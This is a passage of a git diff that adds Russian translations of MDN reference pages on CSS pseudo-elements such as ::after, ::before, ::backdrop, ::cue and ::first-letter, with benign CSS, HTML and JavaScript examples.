+<p>Представляет собой индикатор прогресса внутри {{HTMLElement("progress")}} (Бар, отражающий текущий прогресс).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html;">&lt;progress value="30" max="100"&gt;30%&lt;/progress&gt;
+&lt;progress max="100"&gt;Неопределенный бар прогресса&lt;/progress&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">::-moz-progress-bar {
+  background-color: red;
+}
+
+/* Задает неопределенным барам нулевую ширину */
+:indeterminate::-moz-progress-bar {
+  width: 0;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Examples')}}</p>
+
+<p>Первый бар сверху должен выглядеть так:</p>
+
+<p><img alt="Custom styled progress bar" class="default internal" src="/@api/deki/files/5387/=redbar.png"></p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("progress")}}</li>
+ <li>{{ cssxref("::-ms-fill") }}</li>
+ <li>{{ cssxref("::-webkit-progress-bar") }}</li>
+ <li>{{ cssxref("::-webkit-progress-value") }}</li>
+ <li>{{ cssxref("::-webkit-progress-inner-element") }}</li>
+</ul>
diff --git a/files/ru/web/css/_doublecolon_-webkit-slider-thumb/index.html b/files/ru/web/css/_doublecolon_-webkit-slider-thumb/index.html
new file mode 100644
index 0000000000..086ccfa4ab
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_-webkit-slider-thumb/index.html
@@ -0,0 +1,28 @@
+---
+title: '::-webkit-slider-thumb'
+slug: 'Web/CSS/::-webkit-slider-thumb'
+translation_of: 'Web/CSS/::-webkit-slider-thumb'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;"><a href="/ru/docs/Web/CSS/Pseudo-elements">Псевдоэлемент</a> CSS </span></font><strong>::-webkit-slider-thumb</strong></code> представляет собой ползунок, передвигаемый пользователем по линейке элемента {{HTMLElement("input")}} типа <code>"range"</code> для изменения числового значения атрибута <a href="en-US/docs/Web/HTML/Element/input#attr-value">value</a>.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Не является частью какой либо спецефикации. Это проприетарный псевдоэлемент исключительно для WebKit/Blink.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{cssxref("::-webkit-slider-runnable-track")}}</li>
+ <li>Похожие псевдоэлементы использующиеся в других браузерах:
+  <ul>
+   <li>{{cssxref("::-moz-range-thumb")}}</li>
+   <li>{{cssxref("::-ms-thumb")}}</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks: Styling Cross-Browser Compatible Range Inputs with CSS</a></li>
+ <li><a href="http://www.quirksmode.org/blog/archives/2015/11/styling_and_scr.html">QuirksMode: Styling and scripting sliders</a></li>
+</ul>
diff --git a/files/ru/web/css/_doublecolon_after/index.html b/files/ru/web/css/_doublecolon_after/index.html
new file mode 100644
index 0000000000..e21cc2fe93
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_after/index.html
@@ -0,0 +1,177 @@
+---
+title: '::after (:after)'
+slug: 'Web/CSS/::after'
+tags:
+  - CSS
+  - Layout
+  - Reference
+  - Web
+  - Псевдоэлементы
+translation_of: 'Web/CSS/::after'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">В CSS, <strong><code>::after</code></strong> создаёт <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдоэлемент</a>, который является последним потомком выбранного элемента. Часто используется для добавления косметического содержимого в элемент с помощью свойства {{cssxref("content")}}.</span> По умолчанию является инлайновым.</p>
+
+<pre class="brush: css no-line-numbers  language-css"><code class="language-css"><span class="comment token">/* Добавить стрелки после ссылок */</span>
+<span class="selector token">a<span class="pseudo-class token">::after</span> </span><span class="punctuation token">{</span>
+  <span class="property token">content: "</span></code>→<code class="language-css"><span class="property token">";</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> Псведоэлементы, созданные с помощью <code>::before</code> и <code>::after</code> <a href="https://www.w3.org/TR/CSS2/generate.html#before-after-content">содержатся в блоке форматирования элемента</a>, и поэтому не применяются к <em><a href="/ru/docs/Web/CSS/Replaced_element">замещаемым элементам</a></em>, таким как {{htmlelement("img")}} или {{htmlelement("br")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<div class="note">
+<p>В CSS3 появилась запись <code>::after</code> (с двумя двоеточиями) для различения <a href="/ru/docs/Web/CSS/Псевдо-классы">псевдоклассов</a> и <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдоэлементов</a>. Браузеры также поддерживают запись <code>:after</code>, введённую в CSS2.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простое_использование">Простое использование</h3>
+
+<p>Давайте создадим два класса, один для скучных параграфов и один для потрясающих. Затем мы сможем отметить каждый параграф добавлением псевдоэлемента в его конец.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p class="boring-text"&gt;Вот простой скучный текст.&lt;/p&gt;
+&lt;p&gt;Вот нормальный текст, который не является ни скучным, ни потрясающим.&lt;/p&gt;
+&lt;p class="exciting-text"&gt;Помогать MDN легко и весело.
+Просто нажмите кнопку редактирования, чтобы добавить новые живые примеры, или улучшить существующие примеры.&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.exciting-text::after {
+  content: "&lt;- теперь это *просто* потрясающе!";
+  color: green;
+}
+
+.boring-text::after {
+   content: "&lt;- СКУЧНО!";
+   color: red;
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Простое_использование', 500, 150)}}</p>
+
+<h3 id="Пример_оформления">Пример оформления</h3>
+
+<p>Можно стилизовать текст или изображения в свойстве {{cssxref("content")}} практически любым способом.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;span class="ribbon"&gt;Посмотрите, где находится оранжевый прямоугольник.&lt;/span&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.ribbon {
+  background-color: #5BC8F7;
+}
+
+.ribbon::after {
+  content: "Посмотрите на этот оранжевый прямоугольник.";
+  background-color: #FFBA10;
+  border-color: black;
+  border-style: dotted;
+}</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample('Пример_оформления', 450, 20)}}</p>
+
+<h3 id="Подсказки">Подсказки</h3>
+
+<p>Следующий пример показывает использование <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдоэлемента</a> <code>::after</code> в сочетании с CSS-выражением <a href="/ru/docs/Web/CSS/attr"><code>attr()</code></a> и <a href="/ru/docs/Web/HTML/Global_attributes#attr-dataset">пользовательского <code>data-*</code> атрибута</a> <code>data-descr</code> для создания <em>подсказки</em> на чистом CSS.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Здесь находится живой пример вышеприведённого кода.&lt;br /&gt;
+  У нас есть некоторый &lt;span data-descr="коллекция слов и знаков препинаний"&gt;текст&lt;/span&gt; здесь с несколькими
+  &lt;span data-descr="маленькие всплывающие окошки, которые снова исчезают"&gt;подсказками&lt;/span&gt;.&lt;br /&gt;
+  Не стесняйтесь, наводите мышку чтобы &lt;span data-descr="не понимать буквально"&gt;взглянуть&lt;/span&gt;.
+&lt;/p&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">span[data-descr] {
+  position: relative;
+  text-decoration: underline;
+  color: #00F;
+  cursor: help;
+}
+
+span[data-descr]:hover::after {
+  content: attr(data-descr);
+  position: absolute;
+  left: 0;
+  top: 24px;
+  min-width: 200px;
+  border: 1px #aaaaaa solid;
+  border-radius: 10px;
+  background-color: #ffffcc;
+  padding: 12px;
+  color: #000000;
+  font-size: 14px;
+  z-index: 1;
+}</pre>
+
+<h4 id="Результат_3">Результат</h4>
+
+<p>{{EmbedLiveSample('Подсказки', 450, 120)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-after', '::after')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Нет значительных изменений по сравнению с предыдущей версией спецификации.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Transitions", "#animatable-properties", "transitions on pseudo-element properties")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td>Разрешает переходы для свойств, определённых в псевдоэлементах.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Animations", "", "animations on pseudo-element properties")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td>Разрешает анимации на свойствах, определённых в псевдоэлементах.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#gen-content', '::after')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Введение синтаксиса с двумя двоеточиями.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#before-after-content', '::after')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Изначальное определение, используя синтаксис с одним двоеточием.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<p>{{Compat("css.selectors.after")}}</p>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{Cssxref("::before")}}, {{cssxref("content")}}</li>
+</ul>
diff --git a/files/ru/web/css/_doublecolon_backdrop/index.html b/files/ru/web/css/_doublecolon_backdrop/index.html
new file mode 100644
index 0000000000..d95ee81c9e
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_backdrop/index.html
@@ -0,0 +1,82 @@
+---
+title: '::backdrop'
+slug: 'Web/CSS/::backdrop'
+tags:
+  - API
+  - CSS
+  - Dialog
+  - Fullscreen API
+  - HTML DOM
+  - Полный экран
+  - Псевдо-элемент
+  - Разметка
+  - диалоговое окно
+  - полноэкранный режим
+translation_of: 'Web/CSS/::backdrop'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдо-элемент</a> <strong><code>::backdrop</code></strong> это прямоугольник с размерами {{Glossary("viewport", "окна")}}, который отрисовывается сразу же после отрисовки любого элемента в полноэкранном режиме. Это включает элементы, установленные в полноэкранный режим с помощью</span> <a href="/ru/docs/DOM/Using_fullscreen_mode">Fullscreen API</a> и элементы {{HTMLElement("dialog")}}.</p>
+
+<p>Когда несколько элементов находятся в полноэкранном режиме, подложка появляется под тем из них, который находится на переднем плане и над всеми остальными.</p>
+
+<pre class="brush: css no-line-numbers">/* Подложка показывается только тогда, когда диалоговое окно открыто с помощью метода dialog.showModal() */
+dialog::backdrop {
+  background: rgba(255,0,0,.25);
+}</pre>
+
+<p>Все полноэкранные элементы появляются в порядке last-in/first out (LIFO - последним пришёл - первым ушёл) на специальном верхнем слое окна, который всегда отрисовывается последним (поэтому поверх остальных) до отрисовки содержимого окна. Псевдо-элемент <code>::backdrop</code> позволяет затемнить, стилизовать или полностью спрятать всё, что находится под элементом, когда он находится на этом верхнем слое.</p>
+
+<p><code>::backdrop</code> не наследует от других элементов и другие элементы не могут от него наследовать. Нет никаких ограничений на свойства, которые можно применять к этому псевдо-элементу.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В этом примере, стиль подложки при открытии видео в полноэкранном режиме делаёт её серо-голубой, а не серой, какой она является по стандарту в большинстве браузеров.</p>
+
+<pre class="brush: css">video::backdrop {
+  background-color: #448;
+}
+</pre>
+
+<p>В результате окно выглядит так:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16287/bbb-backdrop.png" style="height: 282px; width: 500px;"></p>
+
+<p>Обратите внимание на эффект серо-голуых полей сверху и снизу, где подложка видна. Обычно эта область чёрная, но её цвет изменён с помощью CSS кода выше.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#::backdrop-pseudo-element', '::backdrop')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Впервые определено.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<p>{{Compat("css.selectors.backdrop")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref(":fullscreen")}} псевдо-класс</li>
+ <li>{{HTMLElement("dialog")}} HTML элемент</li>
+ <li><a href="/ru/docs/DOM/Using_fullscreen_mode">Fullscreen API</a></li>
+</ul>
diff --git a/files/ru/web/css/_doublecolon_before/index.html b/files/ru/web/css/_doublecolon_before/index.html
new file mode 100644
index 0000000000..d8acf664a9
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_before/index.html
@@ -0,0 +1,234 @@
+---
+title: '::before (:before)'
+slug: 'Web/CSS/::before'
+tags:
+  - CSS
+  - Layout
+  - Reference
+  - Web
+  - Псевдоэлементы
+translation_of: 'Web/CSS/::before'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">В CSS, <strong><code>::before</code></strong> создаёт <a href="/en-US/docs/Web/CSS/Pseudo-elements">псевдоэлемент</a>,который является первым потомком выбранного элемента. Часто используется для добавления косметического содержимого в элемент с помощью свойства {{cssxref("content")}}.</span> По умолчания является инлайновым.</p>
+
+<pre class="brush: css"><code class="language-css"><span class="comment token">/* </span></code><code>Добавить сердце перед ссылками</code><code class="language-css"><span class="comment token"> */</span>
+<span class="selector token">a<span class="pseudo-class token">::before</span> </span><span class="punctuation token">{
+</span>  <span class="property token">content: "</span></code>♥<code class="language-css"><span class="property token">";</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> Псведоэлементы, созданные с помощью <code>::before</code> и <code>::after</code> <a href="https://www.w3.org/TR/CSS2/generate.html#before-after-content">содержатся в блоке форматирования элемента</a>, и поэтому не применяются к <em><a href="/ru/docs/Web/CSS/Replaced_element">замещаемым элементам</a></em>, таким как {{htmlelement("img")}} или {{htmlelement("br")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<div class="note">
+<p>В CSS3 появилась запись <code>::before</code> (с двумя двоеточиями) для различения <a href="/ru/docs/Web/CSS/Pseudo-classes">псевдоклассов</a> и <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдоэлементов</a>. Браузеры также поддерживают запись <code>:before</code>, введённую в CSS2.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Добавление_кавычек">Добавление кавычек</h3>
+
+<p>Этот простой пример использования псевдоэлементов <code>::before</code> позволяет добавлять кавычки. Здесь используется как псевдоэлемент <code>::before</code>, так и <code>{{Cssxref("::after")}}</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;q&gt;Немного кавычек&lt;/q&gt;, как он сказал, &lt;q&gt;лучше чем ничего.&lt;/q&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css">q::before {
+  content: "«";
+  color: blue;
+}
+
+q::after {
+  content: "»";
+  color: red;
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Добавление_кавычек', '500', '50', '')}}</p>
+
+<h3 id="Пример_оформления">Пример оформления</h3>
+
+<p>Можно стилизовать текст или изображения в свойстве {{cssxref("content")}} практически любым способом.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;span class="ribbon"&gt;Посмотрите, где находится оранжевый прямоугольник.&lt;/span&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.ribbon {
+  background-color: #5BC8F7;
+}
+
+.ribbon::before {
+  content: "Посмотрите на этот оранжевый прямоугольник.";
+  background-color: #FFBA10;
+  border-color: black;
+  border-style: dotted;
+}</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample('Пример_оформления', 450, 60)}}</p>
+
+<h3 id="Список_дел">Список дел</h3>
+
+<p>В этом примере мы создадим простой список дел,используя псевдоэлементы. Этот метод часто применяется для добавления небольших штрихов в пользовательский интерфейс и улучшения впечатления пользователей.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Купить молока&lt;/li&gt;
+  &lt;li&gt;Сходить на прогулку с собакой&lt;/li&gt;
+  &lt;li&gt;Тренироваться&lt;/li&gt;
+  &lt;li&gt;Написать код&lt;/li&gt;
+  &lt;li&gt;Слушать музыку&lt;/li&gt;
+  &lt;li&gt;Отдыхать&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">li {
+  list-style-type: none;
+  position: relative;
+  margin: 2px;
+  padding: 0.5em 0.5em 0.5em 2em;
+  background: lightgrey;
+  font-family: sans-serif;
+}
+
+li.done {
+  background: #CCFF99;
+}
+
+li.done::before {
+  content: '';
+  position: absolute;
+  border-color: #009933;
+  border-style: solid;
+  border-width: 0 0.3em 0.25em 0;
+  height: 1em;
+  top: 1.3em;
+  left: 0.6em;
+  margin-top: -1em;
+  transform: rotate(45deg);
+  width: 0.5em;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var list = document.querySelector('ul');
+list.addEventListener('click', function(ev) {
+  if( ev.target.tagName === 'LI') {
+     ev.target.classList.toggle('done');
+  }
+}, false);
+</pre>
+
+<p>Вот живой пример приведённого выше кода. Заметим, что здесь не используются иконки, а зелёная галочка на самом деле является псевдоэлементом <code>::before</code>, стилизованном с помощью CSS. Попробуйте выполнить некоторые вещи списка.</p>
+
+<h4 id="Результат_3">Результат</h4>
+
+<p>{{EmbedLiveSample('Список_дел', 400, 300)}}</p>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Хотя исправления в Firefox 3.5 не позволяют созданному содержимому вести себя как отдельный предшествующий элемент (согласно <a class="external" href="http://www.w3.org/TR/CSS21/generate.html#before-after-content">спецификации CSS</a>: "Псевдоэлементы :before и :after взаимодействуют с другими элементами... как если бы они были настоящими элементами, добавленными в соответствующий им элемент."), они могут быть использованы для небольшого улучшения в разметке без таблиц (например для центрирования). В предположении, что содержимое, которое необходимо центрировать, уже обёрнуто в некоторый элемент, столбцы перед и после содержимого могут быть добавлены без добавления других элементов (например в данном случае вероятно является более корректным обернуть текст в элемент <code>&lt;span&gt;</code>, как в примере ниже, вместо того чтобы добавлять два пустых элемента <code>&lt;div/&gt;</code> до и после текста). (И всегда устанавливайте ширину плавающего элемента, иначе он не будет плавающим!)</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;div class="example"&gt;
+&lt;span id="floatme"&gt;"Плавающий перед" будет добавлен слева от текста
+и не позволит переполнению этой строки обтекать его снизу.
+Аналогично, "Плавающий после" будет добавлен справа от текста
+и не позволит переполнению этой строки обтекать его снизу.&lt;/span&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css">#floatme { float: left; width: 50%; }
+
+/* Чтобы получить пустой столбец достаточно указать шестнадцатеричный код неразрывного пробела \a0 в качестве содержимого (используйте \0000a0, если за этим пробелом следуют другие символы) */
+.example::before {
+  content: "Плавающий перед";
+  float: left;
+  width: 25%
+}
+.example::after {
+  content: "Плавающий после";
+  float: right;
+  width:25%
+}
+
+/* Для стилизации */
+.example::before, .example::after {
+  background: yellow;
+  color: red;
+}</pre>
+
+<h4 id="Результат_4">Результат</h4>
+
+<p>{{EmbedLiveSample("Примечания")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-before', '::before')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Нет значительных изменений по сравнению с предыдущей версией спецификации.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Transitions", "#animatable-properties", "")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td>Разрешает переходы для свойств, определённых в псевдоэлементах.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Animations", "", "")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td>Разрешает анимации на свойствах, определённых в псевдоэлементах.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#gen-content', '::before')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Введение синтаксиса с двумя двоеточиями.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#before-after-content', '::before')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Изначальное определение, используя синтаксис с одним двоеточием.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+<p>{{Compat("css.selectors.before")}}</p>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{Cssxref("::after")}}</li>
+ <li>{{Cssxref("content")}}</li>
+</ul>
diff --git a/files/ru/web/css/_doublecolon_cue/index.html b/files/ru/web/css/_doublecolon_cue/index.html
new file mode 100644
index 0000000000..3530a8df68
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_cue/index.html
@@ -0,0 +1,76 @@
+---
+title: '::cue'
+slug: 'Web/CSS/::cue'
+translation_of: 'Web/CSS/::cue'
+---
+<p>{{CSSRef}}</p>
+
+<p><span class="seoSummary"><a href="/ru/docs/Web/CSS/Pseudo-elements">Псевдоэлемент</a> <a href="/ru/docs/Web/CSS">CSS</a> <strong><code>::cue</code></strong> соответствует репликам <a href="/en-US/docs/Web/API/WebVTT_API">WebVTT</a> в выбранном элементе. Он может быть использован для задания <a href="/docs/Web/API/WebVTT_API#Styling_WebTT_cues">стилей титров и других реплик</a> в медиа с VTT треками.</span></p>
+
+<pre class="brush: css no-line-numbers notranslate">::cue {
+  color: yellow;
+  font-weight: bold;
+}</pre>
+
+<h2 id="Разрешённые_свойства">Разрешённые свойства</h2>
+
+<p>Правила с <code>::cue</code> в селекторе ограничены в использовании CSS свойст следующим списком:</p>
+
+<ul>
+ <li>{{CSSxRef("background")}} и его свойства</li>
+ <li>{{CSSxRef("color")}}</li>
+ <li>{{CSSxRef("font")}} и его свойства</li>
+ <li>{{CSSxRef("line-height")}}</li>
+ <li>{{CSSxRef("opacity")}}</li>
+ <li>{{CSSxRef("outline")}} и его свойства</li>
+ <li>{{CSSxRef("ruby-position")}}</li>
+ <li>{{CSSxRef("text-combine-upright")}}</li>
+ <li>{{CSSxRef("text-decoration")}} и его свойства</li>
+ <li>{{CSSxRef("text-shadow")}}</li>
+ <li>{{CSSxRef("visibility")}}</li>
+ <li>{{CSSxRef("white-space")}}</li>
+</ul>
+
+<p>Свойства применяются ко всему набору реплик, как если бы они были единым целым. Единственным исключением является <code>background</code> и его сокращённые свойства, которые прменяются к каждой реплике отдельно, чтобы не создавать блоки, которые занимают неожиданно большие области медиа.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий CSS устанавливает стили для реплик в виде белого цвета текста и полупрозрачного чёрного фона.</p>
+
+<pre class="brush: css notranslate">::cue {
+  color: #fff;
+  background-color: rgba(0, 0, 0, 0.6);
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebVTT", "#the-cue-pseudo-element", "::cue")}}</td>
+   <td>{{Spec2("WebVTT")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("css.selectors.cue")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/WebVTT_API">Web Video Tracks Format (WebVTT)</a></li>
+</ul>
diff --git a/files/ru/web/css/_doublecolon_first-letter/index.html b/files/ru/web/css/_doublecolon_first-letter/index.html
new file mode 100644
index 0000000000..b023b36e3b
--- /dev/null
+++ b/files/ru/web/css/_doublecolon_first-letter/index.html
@@ -0,0 +1,133 @@
+---
+title: '::first-letter (:first-letter)'
+slug: 'Web/CSS/::first-letter'
+tags:
+  - CSS
+  - Layout
+  - Reference
+  - Псевдоэлементы
+translation_of: 'Web/CSS/::first-letter'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдоэлемент</a> <strong><code>::first-letter</code></strong> применяет стили к первой букве первой строки <a href="/ru/docs/Web/CSS/Visual_formatting_model#Block-level_elements_and_block_boxes">блочного элемента</a>, но только если нету другого предшествующего содержимого (такого как изображения или инлайн таблицы).</p>
+
+<pre class="brush: css no-line-numbers">/* Стили для первой буквы элемента &lt;p&gt; */
+p::first-letter {
+  font-size: 130%;
+}</pre>
+
+<p>Может быть непросто определить первую букву элемента:</p>
+
+<ul>
+ <li>Пунктуация, которая предшествует или следует сразу за первой буквой, включается в селектор. Пунктуация включает любой символ Юникода, определённый в классах <em>open</em> (Ps), <em>close</em> (Pe), <em>initial quote</em> (Pi), <em>final quote</em> (Pf), and <em>other punctuation</em> (Po).</li>
+ <li>В некоторых языках существуют диграфы, которые должны преобразовываться в верхний регистр вместе, например <code>IJ</code> в Нидерландском. В этих случаях обе буквы диграфа должны соответствовать псевдоэлементу <code>::first-letter</code>  (это слабо поддерживается браузерами, смотрите <a href="/En/CSS/::first-letter#Browser_compatibility" title="https://developer.mozilla.org/En/CSS/::first-letter#Browser_compatibility">таблицу совместимости</a> ниже).</li>
+ <li>Комбинация псевдоэлемента {{ cssxref("::before") }} и свойства {{ cssxref("content") }} может привести к добавлению некоторого текста в начало элемента. В этом случае псевдоэлементу <code>::first-letter</code> будет соответствовать первая буква добавленного содержимого.</li>
+</ul>
+
+<div class="note">
+<p>В CSS3 появилась запись  <code>::first-letter</code> (с двумя двоеточиями) для различения <a href="/ru/docs/Web/CSS/Pseudo-classes">псевдоклассов</a> и <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдоэлементов</a>. Браузеры также поддерживают запись <code>:first-letter</code>, введённую в CSS2.</p>
+</div>
+
+<h2 id="Разрешённые_свойства">Разрешённые свойства</h2>
+
+<p>Только небольшое подмножество CSS-свойств может быть использовано с псевдоэлементом <code>::first-letter</code>:</p>
+
+<ul>
+ <li>Все свойства, связанные с шрифтами: {{ Cssxref("font") }}, {{ Cssxref("font-style") }}, {{cssxref("font-feature-settings")}}, {{cssxref("font-kerning")}}, {{cssxref("font-language-override")}}, {{cssxref("font-stretch")}}, {{cssxref("font-synthesis")}}, {{ Cssxref("font-variant") }}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }}, {{cssxref("font-size-adjust")}}, {{ Cssxref("line-height") }} и {{ Cssxref("font-family") }}</li>
+ <li>Все свойства, связанные с фоном: {{ Cssxref("background") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{cssxref("background-clip")}}, {{cssxref("background-origin")}}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}, {{ cssxref("background-size") }}, {{ Cssxref("background-attachment") }} и {{cssxref("background-blend-mode")}}</li>
+ <li>Все свойства для внешних отступов: {{ Cssxref("margin") }}, {{ Cssxref("margin-top") }}, {{ Cssxref("margin-right") }}, {{ Cssxref("margin-bottom") }}, {{ Cssxref("margin-left") }}</li>
